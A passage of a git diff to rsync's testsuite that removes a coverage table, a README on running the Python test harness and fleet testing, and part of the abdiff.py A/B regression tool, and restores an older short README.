(client; daemon `ignore errors` also ✗) |\n-\n-### Comparison / checksum / compression\n-| option | test(s) | depth | x-dir | notes / gap |\n-|---|---|---|---|---|\n-| -c, --checksum | compare*new* | Y | — | ✓ catches stealth change |\n-| -I, --ignore-times | compare*new* | Y | — | ✓ |\n-| --size-only | compare*new* | Y | — | ✓ |\n-| -@, --modify-window | compare*new* | Y | — | ✓ |\n-| --checksum-choice / --checksum-seed | compress-options*new* | Y | — | ✓ every advertised algo |\n-| -z, --compress | daemon-gzip-{up,down}load, daemon-refuse-compress | `~` | — | `~` |\n-| --compress-choice / --compress-level / --skip-compress | compress-options*new* | Y | — | ✓ |\n-\n-### Output / reporting (path-irrelevant — checked for output shape)\n-| option | test(s) | notes / gap |\n-|---|---|---|\n-| -i, --itemize-changes | output-options*new*, itemize | ✓ |\n-| -n, --dry-run | output-options*new* | ✓ |\n-| --stats | output-options*new* | ✓ |\n-| --out-format | output-options*new* | ✓ |\n-| --list-only | output-options*new* | ✓ |\n-| -q, --quiet | output-options*new* | ✓ |\n-| --progress / -P | output-options*new* | ✓ (--progress) |\n-| -h, --human-readable / -8, --8-bit-output | output-options*new* | ✓ smoke |\n-| --version / --help | output-options*new* | ✓ |\n-| --info / --debug / --stderr / --no-motd / --outbuf | — | ✗ |\n-| -M, --remote-option / --log-file / --log-file-format | — | ✗ (daemon `log file` covered) |\n-\n-### Batch / connection / misc\n-| option | test(s) | notes / gap |\n-|---|---|---|\n-| --write-batch / --only-write-batch / --read-batch | batch-mode | `~` |\n-| -e, --rsh / --rsync-path | ssh-basic, many | `~` |\n-| --protocol | check29 / check30 (whole suite) | ✓ |\n-| --address / --port | daemon tests under --use-tcp | `~` |\n-| --password-file | daemon-auth*new* | ✓ |\n-| --early-input / daemon `early exec` | — | ✗ |\n-| --sockopts / --blocking-io / --timeout / --contimeout | — | ✗ |\n-| -4/-6, --ipv4/--ipv6 | — | ✗ |\n-| --stop-after / --stop-at | — | ✗ |\n-| --bwlimit | partial*new* (used, not asserted) | `~` |\n-| --copy-as | — | ✗ root-gated |\n-| --iconv | — | ✗ |\n-| --nice / --no-nice | niceness | ✓ local, remote shell, local server, daemon and rrsync |\n-| -s/--secluded-args, --old-args, --trust-sender | (default arg-protection exercised) | `~` |\n-\n----\n-\n-## Daemon (rsyncd.conf) parameters\n-\n-| parameter | test(s) | notes / gap |\n-|---|---|---|\n-| path | daemon-access*new*, all daemon tests | ✓ incl. deep sub-path |\n-| read only | daemon-access*new*, daemon | ✓ |\n-| write only | daemon-access*new* | ✓ |\n-| list | daemon-access*new*, daemon | ✓ hidden-but-usable |\n-| use chroot | sender-flist-symlink-leak, daemon-chroot-acl | `~` (no=most tests; yes needs root) |\n-| munge symlinks | daemon-munge*new* | ✓ /rsyncd-munged/ add+strip |\n-| exclude / include | daemon-filter*new*, daemon | ✓ exclude |\n-| filter / exclude from / include from | — | ✗ (exclude covers the mechanism) |\n-| incoming chmod | daemon-filter*new*, chmod-option | ✓ |\n-| outgoing chmod | daemon-filter*new* | ✓ |\n-| auth users / secrets file | daemon-auth*new* | ✓ accept/reject/unauth |\n-| strict modes | daemon-auth*new* | ✓ rejects world-readable secrets |\n-| refuse options | daemon-refuse*new*, daemon-refuse-compress | ✓ named/wildcard/allow-list |\n-| pre-xfer exec / post-xfer exec | daemon-exec*new* | ✓ env + abort |\n-| early exec | — | ✗ (needs --early-input) |\n-| hosts allow / hosts deny | daemon (allow), daemon-chroot-acl (deny) | `~` (needs --use-tcp for real peer) |\n-| reverse lookup / forward lookup | daemon-chroot-acl | `~` reverse only |\n-| log file / transfer logging / log format | daemon | `~` set, not asserted |\n-| max verbosity | daemon | `~` |\n-| comment | daemon, daemon-access*new* | ✓ |\n-| numeric ids | — | ✗ (hard to observe non-root) |\n-| fake super | chown-fake (client side) | ✗ as daemon param |\n-| timeout / max connections / lock file | — | ✗ (need --use-tcp + concurrency) |\n-| temp dir / open noatime / ignore errors / ignore nonreadable | — | ✗ |\n-| charset / name converter / dont compress | — | ✗ |\n-| uid / gid / daemon uid / daemon gid / daemon chroot | build_rsyncd_conf (uid/gid when root), daemon-chroot-acl | `~` root-gated |\n-| motd file / pid file / port / address / socket options / listen backlog / proxy protocol / syslog facility / syslog tag | — | ✗ (server-startup/connection params) |\n-\n----\n-\n-## Known gaps worth a future pass\n-* Connection/timeout params (`--timeout`, `--contimeout`, daemon `timeout`,\n-  `max connections`) need a real socket + concurrency (run under `--use-tcp`).\n-* Root-only behaviours (`-o`/`--usermap` uid remap, real devices, `use chroot\n-  = yes`, daemon uid/gid) skip as non-root; run the suite as root to cover.\n-* `--ignore-errors`, `-x/--one-file-system`, `--numeric-ids` have no dedicated\n-  test yet (lower restructure risk).\ndiff --git a/testsuite/README.md b/testsuite/README.md\ndeleted file mode 100644\nindex 3536a36..0000000\n--- a/testsuite/README.md\n+++ /dev/null\n@@ -1,304 +0,0 @@\n-# rsync testsuite\n-\n-This directory holds rsync's automated regression tests. Ideally every code\n-change or bug fix comes with a test that would have caught the problem.\n-\n-The tests are Python scripts named `testsuite/*_test.py`, driven by the\n-`runtests.py` harness at the top of the tree (the old shell-based `runtests.sh`\n-is gone). Shared helpers live in `testsuite/rsyncfns.py`. A handful of C helper\n-programs (`tls`, `getgroups`, `trimslash`, …) are built alongside `rsync` and\n-used by some tests. Coverage notes are in [COVERAGE.md](COVERAGE.md).\n-\n-## Writing tests\n-\n-Favour readability — a test is also documentation of the behaviour it pins, so\n-prefer clarity over cleverness:\n-\n-* When a test writes an `rsyncd.conf`, write it as a triple-quoted f-string so\n-  the actual config is readable top-to-bottom, with module parameters indented\n-  with plain spaces. Don't build it from adjacent string literals full of `\\n`\n-  (and `\\t`) escapes. The daemon's parser accepts space-indented parameters.\n-* Better still, use the structured helpers in `rsyncfns.py` when a stock config\n-  will do: `write_daemon_conf(modules, globals)` (per-test modules/params) or\n-  `build_rsyncd_conf()` (the four standard modules). They also handle the\n-  root-only `uid`/`gid` lines for you (needed so a `use chroot = no` daemon run\n-  as root can read a root-owned module).\n-* For config that varies (e.g. those root-only `uid`/`gid` lines), interpolate a\n-  single optional block that expands when needed and is an empty string\n-  otherwise, rather than splicing pieces together:\n-\n-  ```python\n-  root = get_testuid() == get_rootuid()\n-  ids = f\"uid = {get_rootuid()}\\ngid = {get_rootgid()}\" if root else \"\"\n-  conf.write_text(f\"\"\"\\\n-  pid file = {base}/rsyncd.pid\n-  use chroot = no\n-  {ids}\n-  log file = {base}/rsyncd.log\n-\n-  [m]\n-      path = {mod}\n-      read only = yes\n-  \"\"\")\n-  ```\n-\n-## Running the tests\n-\n-### Via make\n-\n-Run from the build directory:\n-\n-- **`make check`** — build the helper programs and run the whole suite in\n-  parallel (`CHECK_J`, default 8) against the just-built `./rsync`. You do **not**\n-  need `make install` first; indeed you generally should not install before\n-  testing. Use `make check CHECK_J=1` to run serially.\n-- **`make check29`** / **`make check30`** — the same, forcing protocol version 29\n-  or 30.\n-- **`make installcheck`** — run the suite against the *installed* binary (e.g.\n-  `/usr/local/bin/rsync`). Per the GNU standards this does not search `$PATH`.\n-  Handy for testing a distribution build.\n-- **`make check-progs`** — (re)build just the C helper programs the tests need,\n-  without running anything.\n-- **`make coverage`** / **`coverage-tcp`** / **`coverage-all`** — generate an HTML\n-  coverage report (needs `./configure --enable-coverage` and `gcovr`);\n-  `coverage-all` merges runs across protocol versions and the tcp transport.\n-\n-### Via runtests.py directly\n-\n-`make check` just drives `runtests.py`; run it directly for finer control. It\n-defaults `--rsync-bin` to `./rsync`, so run it from the build directory (or pass\n-`--rsync-bin` / `--tooldir`):\n-\n-```sh\n-./runtests.py                 # all tests\n-./runtests.py chmod-temp-dir  # a single test by name\n-./runtests.py 'xattr*'        # a glob of test names\n-```\n-\n-Useful options:\n-\n-- `-j N`, `--parallel N` — run up to N tests at once\n-- `--use-tcp` — run daemon tests against a real `rsyncd` on `127.0.0.1` (the\n-  default runs them over a stdio pipe). **Read the security warning below before\n-  using this on a shared machine.**\n-- `--protocol VER` — force a protocol version\n-- `--preserve-scratch` — keep each test's scratch dir afterwards\n-- `--log-level N`, `--always-log` — more verbose output / show logs for passing tests too\n-- `--stop-on-fail` — stop after the first failure\n-- `--timeout SECS` — per-test timeout (default 300)\n-- `--timing` — after the run, list the tests by wall-clock, slowest first, with\n-  the serial sum and the floor set by the single longest test\n-- `--race-timeout SECS` — budget a TOCTOU race test may spend trying to win its\n-  race. These are the suite's slowest tests: a race test is a negative oracle,\n-  so it passes by spending its *whole* budget (5–15s each by default). Lowering\n-  this speeds the suite up and weakens the oracle in equal measure.\n-- `--valgrind`, `--valgrind-opts OPTS` — run rsync under valgrind\n-- `--rsync-bin PATH`, `--tooldir DIR`, `--srcdir DIR` — locate the binary / build / source dirs\n-- `--expect-skipped LIST` — see skip enforcement below\n-\n-### Security warning: `--use-tcp`\n-\n-> **⚠️ Do not use `--use-tcp` on a machine with untrusted local users.**\n->\n-> `--use-tcp` starts a real `rsync` daemon listening on a loopback TCP port\n-> (`127.0.0.1` / `::1`) and **deliberately configures insecure test scenarios**\n-> (daemon modules without authentication, unsafe options enabled, etc.). Loopback\n-> addresses are reachable by *every* local user, so for as long as the tests run,\n-> any other user on the machine can connect to that daemon and exploit those\n-> deliberately-insecure modules — potentially reading or writing files with the\n-> privileges of the user running the tests (which is **root** if you run the suite\n-> as root).\n->\n-> Only run `--use-tcp` where there are **no possible local users who might try to\n-> exploit it** — a single-user workstation or a dedicated, isolated CI machine.\n-> The default stdio-pipe transport carries no such risk: it talks to the daemon\n-> over a private pipe with nothing listening on the network, so prefer it on any\n-> shared or multi-user host.\n-\n-### Results and exit codes\n-\n-Each test prints one result line — `PASS`, `FAIL`, `ERROR`, `SKIP` (with a\n-reason), or `XFAIL` (an expected failure) — and the run ends with a\n-`passed / failed / skipped` summary. Per-test exit-code convention:\n-\n-| code | meaning |\n-|------|---------|\n-| 0    | pass    |\n-| 1    | fail    |\n-| 2    | error   |\n-| 77   | skip    |\n-| 78   | xfail   |\n-\n-`runtests.py` exits non-zero if any test fails. Some tests need root or another\n-precondition and otherwise `SKIP` — read the individual test scripts for details.\n-\n-**Skip enforcement:** on a full run, set `RSYNC_EXPECT_SKIPPED=a,b,c` (or\n-`--expect-skipped a,b,c`) and the run fails if the set of skipped tests does not\n-match. This is how the CI workflows pin each platform's expected skip set. An\n-`@FILE` entry reads a skip list (one test per line) instead, and several may be\n-composed: the workflows use\n-`@testsuite/skiplist/common.txt,@testsuite/skiplist/linux.txt`. Keeping the\n-lists one-name-per-line is what stops two branches that each add a skipping test\n-from conflicting -- see `testsuite/skiplist/README.md`.\n-\n-### Scratch dirs and debugging\n-\n-Each test runs in `testtmp/<name>/`. On failure the scratch directory is left in\n-place (also `--preserve-scratch`); including its logs in a bug report is helpful.\n-\n-### Preconditions\n-\n-You need `python3`, `/bin/sh`, and the normal build toolchain. The ACL/xattr\n-tests need the `acl` and `attr` tools (`getfacl`/`setfacl`,\n-`getfattr`/`setfattr`) and skip if they are absent. Some tests need root.\n-\n-These tests also run in CI via GitHub Actions (see `.github/workflows/`).\n-\n-## Fleet testing (fleettest.py)\n-\n-`testsuite/fleettest.py` builds the committed HEAD of an rsync checkout on a\n-fleet of remote machines over ssh and runs the suite under both transports\n-(stdio-pipe and `--use-tcp`) in parallel, reporting only the *unexpected*\n-results. It is a fast local pre-flight for the GitHub CI matrix: each target\n-mirrors a `.github/workflows/*.yml` job — its configure flags, and the\n-`RSYNC_EXPECT_SKIPPED` list parsed straight from the workflow.\n-\n-Because every run includes a `--use-tcp` pass, the fleet stands up the insecure\n-loopback test daemon on each target — so only point it at machines with **no\n-untrusted local users** (see the [security warning](#security-warning---use-tcp)\n-above).\n-\n-The fleet — which machines, and how to reach and build on each — is described in\n-a JSON file. Copy the bundled example (it is git-ignored) and edit it for your\n-hosts:\n-\n-```sh\n-cp testsuite/fleettest.json.example testsuite/fleettest.json   # then edit\n-# (or symlink it, or point elsewhere with --fleet PATH)\n-```\n-\n-The config is looked up in order: `~/.fleettest.json` first, then\n-`testsuite/fleettest.json`, unless overridden with `--fleet PATH`.\n-\n-Each entry names an ssh host (`null` to run locally), the workflow it mirrors,\n-and its configure flags, plus optional per-target settings (`make`, `privilege`,\n-`env_prefix`, …). See the comments in `fleettest.json.example`.\n-\n-A target with `\"nonroot\": true` does an extra pass, after the main (root) run,\n-that reruns the privilege-sensitive tests as the unprivileged ssh user. Which\n-tests those are is **not** listed in the fleet config — a test opts in by\n-setting a module-level `fleet_nonroot = True`, so the set is maintained in the\n-test files and new privilege-sensitive tests join automatically with no\n-fleet-config change.\n-\n-A target with `\"protocols\": [30, 29]` runs one extra stdio-pipe pass per listed\n-version, each forcing that older wire version with `runtests --protocol=N` — the\n-fleet analogue of a workflow's `check30`/`check29` steps. Each pass takes the\n-`RSYNC_EXPECT_SKIPPED` spec from the workflow's own `check30`/`check29` step, so\n-a lane with extra protocol-gated skips (`check29` adds\n-`@testsuite/skiplist/proto29.txt`) is enforced correctly. They show up as\n-`protoNN` columns in the report (and `--timing` breakdown); targets that don't\n-set `protocols` show `-` there.\n-\n-Run it from inside a checkout (it builds the current directory's HEAD; use\n-`--repo PATH` for another tree):\n-\n-```sh\n-python3 testsuite/fleettest.py                       # whole fleet, both transports\n-python3 testsuite/fleettest.py --list                # list configured targets\n-python3 testsuite/fleettest.py --targets NAME[,NAME]\n-python3 testsuite/fleettest.py --fleet other.json --transport pipe\n-python3 testsuite/fleettest.py --timing              # per-target wall-clock breakdown\n-python3 testsuite/fleettest.py --keep-on-fail        # keep logs + tree where it broke\n-python3 testsuite/fleettest.py --full-tcp            # whole suite in the tcp pass too\n-```\n-\n-`--timing` adds a per-target breakdown after the report — total wall-clock plus\n-the push / build / pipe / tcp / protoNN / nonroot phases, sorted slowest-first. Targets\n-run in parallel, so the whole run is gated by the slowest one; the phase columns\n-show whether that target's hold-up is the push, the build, or a test pass. It\n-also passes `--timing` down to each target's `runtests.py`, so the captured\n-output attributes a slow pass to individual tests.\n-\n-The `tcp` pass runs **only the tests that can reach the daemon transport**, since\n-it follows a full pipe pass over the very same build. `--use-tcp` is observable\n-through exactly one path — `RSYNC_TEST_USE_TCP` is read once in `rsyncfns`\n-(`USE_TCP`) and acted on once, in `start_test_daemon()` — so a test that never\n-gets there produces an identical result twice. That drops 186 of the 340 tests\n-and roughly a third of the pass's work; the count skipped is always printed.\n-Pass `--full-tcp` to sweep the whole suite there anyway. The narrowing applies\n-only when both transports run: under `--transport tcp` that pass is the only\n-one, so it runs the whole suite regardless.\n-\n-`--keep-on-fail [DIR]` makes a failure inspectable without repeating the run.\n-For every target that came back with anything unexpected it writes the full\n-build and per-transport output to `DIR/<run_id>/<target>/` (default\n-`./fleettest-logs`) and keeps that target's remote run dir, with the scratch\n-trees its failing tests left behind. Targets that came back clean are swept as\n-usual. This matters most for the race tests, which may not fail the same way\n-twice — and because a re-run costs a full configure + build on every machine.\n-\n-Each run gets its own randomly-named build dir on every target\n-(`<builddir>-<run_id>`), so two or three runs can share the same fleet without\n-interfering. The dir is removed when the run ends — on success or failure, and\n-best-effort on Ctrl-C/kill; pass `--keep` to retain it for inspection. A hard\n-kill (`SIGKILL`), or a signal arriving mid-push, can leave a stray\n-`<builddir>-<id>` behind; sweep leftovers with\n-`python3 testsuite/fleettest.py --cleanup` (scope it with `--targets`, and only\n-run it when no other fleet runs are active, since it removes *all* matching run\n-dirs on the selected targets).\n-\n-Each target must be provisioned with the build toolchain its workflow installs\n-(autoconf, automake, a C compiler, perl, a python3 markdown module such as\n-cmarkgfm or commonmark unless the flags pass `--disable-md2man`, and the dev\n-libraries its configure flags enable). A missing piece shows up as `BUILD-FAIL`.\n-\n-## Differential regression hunting (abdiff.py)\n-\n-`testsuite/abdiff.py` is a developer tool — **not** a `*_test.py`, so `runtests.py`\n-ignores it. It hunts *regressions* by running the **same benign transfer** with\n-two rsync binaries (`A` = the build under test, `B` = a baseline) and comparing\n-the OUTCOME. The oracle is: for a benign input, a correctness/behaviour change\n-between the builds must be **invisible**, so A and B must produce an identical\n-result. Any divergence is a regression candidate to investigate and, if real,\n-minimize into a `*_test.py`.\n-\n-It compares exit code, stderr (error markers + normalised text), `--stats`\n-\"Literal data\", the destination tree (content + full metadata: mode/uid/gid/\n-mtime/size/symlink target/xattrs/ACLs/hardlink grouping), the `--itemize` list,\n-and — with `--cost` — peak process-group RSS (a resource-regression oracle that\n-functional comparison misses). A **stability gate** runs each binary several\n-times and escalates on a candidate diff; nondeterministic scenarios are\n-quarantined `FLAKY`, never reported as regressions.\n-\n-Run it from the build directory (so `./rsync` and `old_versions/` resolve):\n-\n-```sh\n-testsuite/abdiff.py                       # default: ./rsync vs old_versions/rsync_3.4.1\n-testsuite/abdiff.py --sweep all -j5       # broad single pass, 5-way parallel\n-testsuite/abdiff.py --loop --timelimit 3600 --cost   # hunt for an hour, resource oracle on\n-testsuite/abdiff.py --list --sweep all    # list scenarios without running\n-```\n-\n-Each finding is classed `DIFF` (regression candidate), `ALLOW` (an intentional,\n-documented behaviour change listed in the tool's allowlist), `BETTER` (A succeeds\n-where B fails), `FLAKY`, or `TIMEOUT`. Findings are printed and appended to a\n-per-run `abdiff-log_<TIME>.txt` (and the curated `--findings` log).\n-\n-Key options: `-j N` parallelism; `--sweep NAME|all`; `--loop` (endless\n-random + systematic-combo stream) bounded by `--timelimit SECS`; `--cost`\n-(+`--scale N` for the large-tree fixtures); `--repeat N` (stability samples);\n-`--rsync-a`/`--rsync-b` the two binaries. Run **as root** to fold in the\n-owner/device/specials/fake-super and chroot-daemon sweeps automatically.\n-\n-Transport lanes (a feature broken only over the wire is invisible to a local\n-copy): local, an ssh split (`support/lsh.sh`), a stdio-pipe daemon, a **real TCP\n-daemon** (bound port + greeting/handshake, and an auth challenge-response\n-variant), and the restricted **rrsync** wrapper (`support/rrsh.sh`). rrsync's\n-behaviour ships in the *script*, so pair each binary with its own version's\n-rrsync via `--rrsync-a`/`--rrsync-b` (give B's rrsync, e.g. one extracted from\n-that release's `support/rrsync`).\n-\n-Cross-version baselines are the static binaries already in `old_versions/`;\n-`old_versions/build_static.sh` builds more from a git tag (and you can grab a\n-matching `support/rrsync` from the same tag for the rrsync lane).\ndiff --git a/testsuite/README.testsuite b/testsuite/README.testsuite\nnew file mode 100644\nindex 0000000..782cb1c\n--- /dev/null\n+++ b/testsuite/README.testsuite\n@@ -0,0 +1,28 @@\n+automatic testsuite for rsync\t\t\t-*- text -*-\n+\n+We're trying to develop some more substantial tests to prevent rsync\n+regressions.  Ideally, all code changes or bug reports would come with\n+an appropriate test suite.\n+\n+You can run these tests by typing \"make check\" in the build directory.\n+The tests will run using the rsync binary in the build directory, so\n+you do not need to do \"make install\" first.  Indeed, you probably\n+should not install rsync before running the tests.\n+\n+If you instead type \"make installcheck\" then the suite will test the\n+rsync binary from its installed location (e.g. /usr/local/bin/rsync).\n+You can use this to test a distribution build, or perhaps to run a new\n+test suite against an old version of rsync.  Note that in accordance\n+with the GNU Standards, installcheck does not look for rsync on the\n+path.\n+\n+If the tests pass, you should see a report to that effect.  Some tests\n+require being root or some other precondition, and so will normally not\n+be checked -- look at the test scripts for more information.\n+\n+If the tests fail, you will see rather more output.  The scratch\n+directory will remain in the build directory.  It would be useful if\n+you could include the log messages when reporting a failure.\n+\n+These tests also run automatically on the build farm, and you can see\n+the results on http://build.samba.org/.\ndiff --git a/testsuite/abdiff.py b/testsuite/abdiff.py\ndeleted file mode 100644\nindex 06bfa48..0000000\n--- a/testsuite/abdiff.py\n+++ /dev/null\n@@ -1,2824 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"abdiff.py -- differential A/B regression hunter for rsync.\n-\n-Runs the same transfer with two rsync binaries (A = the build under test, e.g.\n-./rsync; B = a baseline, e.g. old_versions/rsync_3.4.1) and compares the\n-OUTCOME: exit code, error output, --stats \"Literal data\", the destination tree\n-(content + full metadata), and the --itemize change list.\n-\n-Core oracle: for a BENIGN input a correctness/behaviour change between the two\n-builds must be invisible, so A and B must produce an identical destination tree\n-and both exit 0.  Any divergence is a regression candidate (e.g. a refactor that\n-silently changes what a benign `rsync -a` transfers).\n-\n-This is a developer tool, NOT a runtests.py test (it does not end in _test.py and\n-imports nothing from the test harness).  Findings are printed and appended to a\n-log; minimize each into a testsuite/*_test.py.\n-\n-Usage:\n-    testsuite/abdiff.py [--rsync-a ./rsync] [--rsync-b old_versions/rsync_3.4.1]\n-                      [--sweep options|pathshape|all] [--workdir DIR] [--keep]\n-                      [--findings abdiff-findings.txt] [--only NAME] [--list]\n-Exit 0 iff no regression candidates were found.\n-\"\"\"\n-\n-from __future__ import annotations\n-\n-import argparse\n-import hashlib\n-import itertools\n-import os\n-import random\n-import re\n-import shutil\n-import signal\n-import stat\n-import subprocess\n-import sys\n-import threading\n-import time\n-from concurrent.futures import (FIRST_COMPLETED, ThreadPoolExecutor,\n-                                as_completed, wait)\n-from pathlib import Path\n-\n-# ---------------------------------------------------------------------------\n-# config / globals (set in main)\n-RSYNC_A = \"./rsync\"\n-RSYNC_B = \"old_versions/rsync_3.4.1\"\n-RRSYNC_A = None     # rrsync wrapper paired with A/B (None -> in-tree support/rrsync)\n-RRSYNC_B = None\n-KEEP = False\n-REPEAT = 2   # stability gate: run each binary N times; flaky scenarios quarantined\n-CMD_TIMEOUT = 120   # per-subprocess wall-clock guard, seconds (0 = unlimited)\n-COST = False        # --cost: also compare peak process-group RSS (resource oracle)\n-SCALE_N = 2000      # --scale: element count for the scale-escalation fixtures\n-_supports_cache: dict = {}\n-_supports_lock = threading.Lock()\n-_tls = threading.local()   # per-worker: .measure (bool) + .rss (peak bytes)\n-_PAGE = os.sysconf(\"SC_PAGE_SIZE\")\n-\n-\n-def _group_rss(pgid):\n-    \"\"\"Summed RSS (bytes) of every live process in process group pgid -- catches\n-    rsync's forked generator/receiver/sender (and ssh/daemon children), which a\n-    direct-child measure (/usr/bin/time) would miss.\"\"\"\n-    total = 0\n-    for pid in os.listdir(\"/proc\"):\n-        if not pid.isdigit():\n-            continue\n-        try:\n-            with open(f\"/proc/{pid}/stat\") as f:\n-                fields = f.read().split()\n-            if int(fields[4]) != pgid:        # field 5 (0-idx 4) = pgrp\n-                continue\n-            with open(f\"/proc/{pid}/statm\") as f:\n-                total += int(f.read().split()[1]) * _PAGE   # resident pages\n-        except (OSError, ValueError, IndexError):\n-            continue\n-    return total\n-\n-\n-def sh(cmd, cwd=None, env=None, timeout=None):\n-    \"\"\"Run cmd capturing stdout/stderr. Runs in its own process group with a\n-    wall-clock timeout so a wedged rsync (or its ssh/daemon children) can't hang a\n-    worker forever -- on timeout the whole group is killed and rc 124 returned.\"\"\"\n-    if timeout is None:\n-        timeout = CMD_TIMEOUT\n-    p = subprocess.Popen(cmd, cwd=cwd, env=env, stdout=subprocess.PIPE,\n-                         stderr=subprocess.PIPE, text=True, start_new_session=True)\n-    # cost oracle: while the transfer runs, sample the peak summed RSS of its\n-    # whole process group (set per-worker by one_run via _tls.measure).\n-    measure = getattr(_tls, \"measure\", False)\n-    stop = peak = poller = None\n-    if measure:\n-        peak = [0]\n-        stop = threading.Event()\n-        pgid = os.getpgid(p.pid)\n-\n-        def _poll():\n-            while not stop.is_set():\n-                peak[0] = max(peak[0], _group_rss(pgid))\n-                stop.wait(0.03)\n-        poller = threading.Thread(target=_poll, daemon=True)\n-        poller.start()\n-    try:\n-        out, err = p.communicate(timeout=timeout or None)\n-        rc = p.returncode\n-    except subprocess.TimeoutExpired:\n-        try:\n-            os.killpg(os.getpgid(p.pid), signal.SIGKILL)\n-        except OSError:\n-            pass\n-        out, err = p.communicate()\n-        rc = 124\n-        err = \"[abdiff: TIMEOUT]\\n\" + (err or \"\")\n-    if measure:\n-        stop.set()\n-        poller.join(timeout=1)\n-        _tls.rss = peak[0] or None\n-    return subprocess.CompletedProcess(cmd, rc, out or \"\", err or \"\")\n-\n-\n-def supports(binary, opt):\n-    key = (binary, opt)\n-    with _supports_lock:\n-        if key in _supports_cache:\n-            return _supports_cache[key]\n-    r = sh([binary, opt, \"--version\"])\n-    bad = any(m in (r.stderr or \"\").lower()\n-              for m in (\"unknown option\", \"unrecognized option\", \"no such option\"))\n-    val = not bad\n-    with _supports_lock:\n-        _supports_cache[key] = val\n-    return val\n-\n-\n-# ---------------------------------------------------------------------------\n-# tree snapshot + comparison\n-\n-ERR_MARKERS = (\"rsync error\", \"failed to open\", \"rsync: \", \"Invalid argument\",\n-               \"No such file\", \"Operation not permitted\", \"cannot \")\n-\n-# Intentional, documented behaviour-change refusals (A errors where B didn't),\n-# recorded as ALLOW rather than a silent regression. Each entry is\n-# (substring-in-A's-stderr, human note). Populate as deliberate behaviour changes\n-# between the two builds are identified.\n-ALLOWLIST = []\n-\n-\n-def _xattrs(path):\n-    try:\n-        names = sorted(os.listxattr(path, follow_symlinks=False))\n-    except (OSError, AttributeError):\n-        return {}\n-    out = {}\n-    for n in names:\n-        if n.startswith(\"system.posix_acl_\"):\n-            continue  # captured via getfacl\n-        try:\n-            out[n] = os.getxattr(path, n, follow_symlinks=False).hex()\n-        except OSError:\n-            out[n] = \"?\"\n-    return out\n-\n-\n-def _acl(path, is_dir):\n-    r = sh([\"getfacl\", \"-pcEn\", path]) if shutil.which(\"getfacl\") else None\n-    if not r or r.returncode != 0:\n-        return None\n-    lines = [ln for ln in r.stdout.splitlines() if ln and not ln.startswith(\"#\")]\n-    return \"\\n\".join(sorted(lines)) or None\n-\n-\n-def snapshot(root: Path):\n-    \"\"\"Map rel-path -> attribute dict for every entry under root (root itself\n-    excluded). Symlinks/specials are recorded, never followed.\"\"\"\n-    root = Path(root)\n-    snap = {}\n-    inode_of = {}  # (dev,ino) -> first rel path, for hardlink grouping\n-    if not root.exists():\n-        return snap\n-    stack = [root]\n-    while stack:\n-        d = stack.pop()\n-        try:\n-            entries = sorted(os.scandir(d), key=lambda e: e.name)\n-        except OSError:\n-            continue\n-        for e in entries:\n-            p = Path(e.path)\n-            rel = str(p.relative_to(root))\n-            try:\n-                st = os.lstat(p)\n-            except OSError:\n-                snap[rel] = {\"type\": \"GONE\"}\n-                continue\n-            m = st.st_mode\n-            a = {\n-                \"mode\": stat.S_IMODE(m),\n-                \"uid\": st.st_uid, \"gid\": st.st_gid,\n-                \"mtime\": int(st.st_mtime),\n-            }\n-            if stat.S_ISDIR(m):\n-                a[\"type\"] = \"d\"\n-                stack.append(p)\n-            elif stat.S_ISLNK(m):\n-                a[\"type\"] = \"l\"\n-                a[\"target\"] = os.readlink(p)\n-            elif stat.S_ISREG(m):\n-                a[\"type\"] = \"f\"\n-                a[\"size\"] = st.st_size\n-                a[\"blocks\"] = st.st_blocks  # sparseness\n-                # \"is this file hardlinked at all\" (link-dest / -H) -- a robust\n-                # boolean; raw nlink counts are contaminated when A and B share a\n-                # --link-dest basis dir, but \"copied(1) vs linked(>1)\" still\n-                # catches a real link-dest/hardlink regression.\n-                a[\"linked\"] = st.st_nlink > 1\n-                if st.st_nlink > 1:\n-                    key = (st.st_dev, st.st_ino)\n-                    a[\"hardlink\"] = inode_of.setdefault(key, rel)\n-                h = hashlib.sha256()\n-                try:\n-                    with open(p, \"rb\") as fh:\n-                        for chunk in iter(lambda: fh.read(1 << 20), b\"\"):\n-                            h.update(chunk)\n-                    a[\"sha\"] = h.hexdigest()\n-                except OSError as ex:\n-                    a[\"sha\"] = f\"ERR:{ex.errno}\"\n-            elif stat.S_ISFIFO(m):\n-                a[\"type\"] = \"p\"\n-            elif stat.S_ISSOCK(m):\n-                a[\"type\"] = \"s\"\n-            elif stat.S_ISBLK(m) or stat.S_ISCHR(m):\n-                a[\"type\"] = \"b\" if stat.S_ISBLK(m) else \"c\"\n-                a[\"rdev\"] = (os.major(st.st_rdev), os.minor(st.st_rdev))\n-            else:\n-                a[\"type\"] = \"?\"\n-            xa = _xattrs(p)\n-            if xa:\n-                a[\"xattr\"] = xa\n-            ac = _acl(p, stat.S_ISDIR(m))\n-            if ac:\n-                a[\"acl\"] = ac\n-            snap[rel] = a\n-    return snap\n-\n-\n-# which attrs are meaningful depends on the options used; keep it simple and\n-# compare everything, but let callers ignore mtime when -t isn't in play, or\n-# for a type whose times rsync intentionally leaves unmanaged (-O dirs, -J\n-# symlinks) -> those dest mtimes are creation-time and differ between runs.\n-def diff_snapshots(sa, sb, ignore_mtime=False, ignore_mtime_types=()):\n-    diffs = []\n-    for rel in sorted(set(sa) | set(sb)):\n-        a, b = sa.get(rel), sb.get(rel)\n-        if a is None:\n-            diffs.append(f\"  only in B(baseline): {rel} ({b.get('type')})\")\n-            continue\n-        if b is None:\n-            diffs.append(f\"  only in A(under-test): {rel} ({a.get('type')})\")\n-            continue\n-        for k in sorted(set(a) | set(b)):\n-            if k == \"mtime\" and (ignore_mtime\n-                                 or a.get(\"type\") in ignore_mtime_types):\n-                continue\n-            if a.get(k) != b.get(k):\n-                diffs.append(f\"  {rel}: {k}  A={a.get(k)!r}  B={b.get(k)!r}\")\n-    return diffs\n-\n-\n-# ---------------------------------------------------------------------------\n-# running a transfer with one binary\n-\n-def run_xfer(binary, workdir, opts, src_args, dest, cwd=None, pre=None):\n-    \"\"\"Run `binary opts src_args dest` (cwd default=workdir). Returns\n-    (rc, stderr, literal_data, itemize).\"\"\"\n-    cwd = cwd or workdir\n-    argv = [binary, \"--stats\", \"-i\", *opts, *src_args, dest]\n-    return _parse_out(sh(argv, cwd=cwd))\n-\n-\n-def _parse_out(r):\n-    literal = None\n-    for ln in r.stdout.splitlines():\n-        if ln.startswith(\"Literal data:\"):\n-            literal = ln.split(\":\", 1)[1].strip()\n-    itemize = \"\\n\".join(sorted(\n-        ln for ln in r.stdout.splitlines()\n- 